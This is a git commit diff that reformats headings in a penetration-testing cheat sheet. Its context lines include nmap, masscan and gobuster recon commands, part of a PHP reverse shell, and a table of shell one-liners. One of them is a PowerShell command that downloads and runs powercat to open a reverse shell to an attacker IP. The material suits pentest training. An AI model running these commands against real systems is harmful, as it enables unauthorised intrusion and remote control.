Formatting

This commit is contained in:
Phil 2021-12-24 13:41:29 +00:00
parent 8c1ce1f35f
commit 1cdc1241dc

View File

@ -30,14 +30,14 @@
##### Nmap
#### Nmap
```
nmap -sV -sC -oA nmap/basic IP
nmap [Scan Type] [Options] {target specification}
```
```
* HOST DISCOVERY:
- -sL: List Scan - simply list targets to scan
- -sn/-sP: Ping Scan - disable port scan
@ -59,20 +59,25 @@ nmap [Scan Type] [Options] {target specification}
-v: Increase verbosity level (use -vv or more for greater effect)
* MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute
```
##### Masscan
#### Masscan
```bash
masscan IP -p 1-65535 --rate 100 -oX masscan.xml
```
##### Netdiscover
#### Netdiscover
````
netdiscover -i <INTERFACE>
```
##### DirBuster / GoBuster
#### DirBuster / GoBuster
```bash
./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10
@ -91,7 +96,7 @@ netdiscover -i <INTERFACE>
### Attacking - Reverse Shells
* PHP Reverse Shell
#### PHP Reverse Shell
```
<?php
@ -284,6 +289,8 @@ function printit ($string) {
?>
```
#### Built-in Tools
| Program | Command |
|----------|---------|
| Netcat Listen | ncat -vlnp 4444 |
@ -300,7 +307,9 @@ function printit ($string) {
| Java | java.lang.Runtime.exec()` payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html |
| Powershell | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ^IP^ -p 5566 -e cmd |
### Spawning a Shell
#### Spawning a Shell
To check if the shell is a tty shell, just enter tty command like the following.
@ -339,6 +348,8 @@ fg
export TERM=xterm
```
## Stage 3 - Post Exploitation
### Lets Have a Look Around